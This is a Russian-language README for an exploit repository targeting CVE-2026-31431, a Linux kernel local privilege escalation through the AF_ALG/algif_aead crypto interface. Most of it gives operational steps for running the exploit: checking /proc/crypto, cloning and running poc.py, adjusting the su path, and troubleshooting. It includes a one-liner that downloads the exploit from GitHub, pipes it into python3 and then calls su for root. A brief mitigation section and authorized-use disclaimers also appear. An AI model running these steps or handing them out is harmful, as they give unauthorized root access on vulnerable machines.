
Учебный proof-of-concept, демонстрирующий локальное повышение привилегий в ядре Linux через AF_ALG algif_aead (CVE-2026-31431). Включает инструкции по использованию и рекомендации по смягчению последствий для оборонительных исследований.
Образовательный Proof of Concept для CVE-2026-31431, также известной как Copy Fail, — уязвимости локального повышения привилегий в ядре Linux, затрагивающей криптографический интерфейс AF_ALG / algif_aead.
[!WARNING] Этот репозиторий предоставлен строго в образовательных, защитных и авторизованных исследовательских целях.
Не запускайте этот код на системах, которые вам не принадлежат, или на системах, где у вас нет явного письменного разрешения на тестирование.
Несанкционированное использование может быть незаконным.
CVE-2026-31431 — это уязвимость локального повышения привилегий в ядре Linux, затрагивающая криптографическую подсистему ядра.
Уязвимость связана с путём AEAD, доступным через интерфейс AF_ALG, и может позволить локальному непривилегированному пользователю вмешиваться в данные page cache, связанные с читаемыми файлами, что потенциально может привести к повышению привилегий в уязвимых системах.
Этот репозиторий содержит минимальный образовательный Proof of Concept, предназначенный для контролируемых лабораторных сред.
Целевая система должна предоставлять требуемый алгоритм AEAD через AF_ALG.
Проверить это можно с помощью:
grep -i "authencesn\|authenc" /proc/crypto
PoC ожидает поддержку алгоритма, аналогичного:
authencesn(hmac(sha256),cbc(aes))
Если алгоритм недоступен, PoC может завершиться с ошибкой, например:
FileNotFoundError: [Errno 2] No such file or directory
Это означает, что требуемый криптоалгоритм ядра недоступен в системе.
Клонируйте репозиторий:
git clone https://github.com/Karim33z/CVE-2026-31431.git
cd CVE-2026-31431
Запустите PoC:
python3 poc.py
Или запустите напрямую:
curl -s https://raw.githubusercontent.com/Karim33z/CVE-2026-31431/refs/heads/main/poc.py | python3 && su
В некоторых системах Linux используется /bin/su вместо /usr/bin/su. Проверить правильный путь можно с помощью:
which su
При необходимости измените целевой путь внутри poc.py.
Если при привязке к authencesn(hmac(sha256),cbc(aes)) возникает ошибка FileNotFoundError: [Errno 2] No such file or directory, значит, требуемый алгоритм ядра недоступен.
Проверьте доступные криптоалгоритмы:
cat /proc/crypto
или более конкретно:
grep -i "authencesn\|authenc\|cbc(aes)\|sha256" /proc/crypto
Если PoC ссылается на /usr/bin/su, а ваша система использует /bin/su, проверьте с помощью:
which su
Затем соответствующим образом обновите путь в poc.py.
Специалистам по защите следует обновить ядро Linux до исправленной версии, предоставленной вендором дистрибутива.
После обновления ядра перезагрузите систему, чтобы убедиться, что исправленное ядро активно.
Временные меры могут включать ограничение доступа к затронутой криптофункциональности ядра в зависимости от окружения и дистрибутива.
Этот проект предназначен только для:
Автор не несёт ответственности за неправомерное использование, ущерб или незаконную деятельность, вызванную этим кодом.
Используйте только на системах, где у вас есть явное разрешение.
Этот проект лицензирован на условиях лицензии MIT.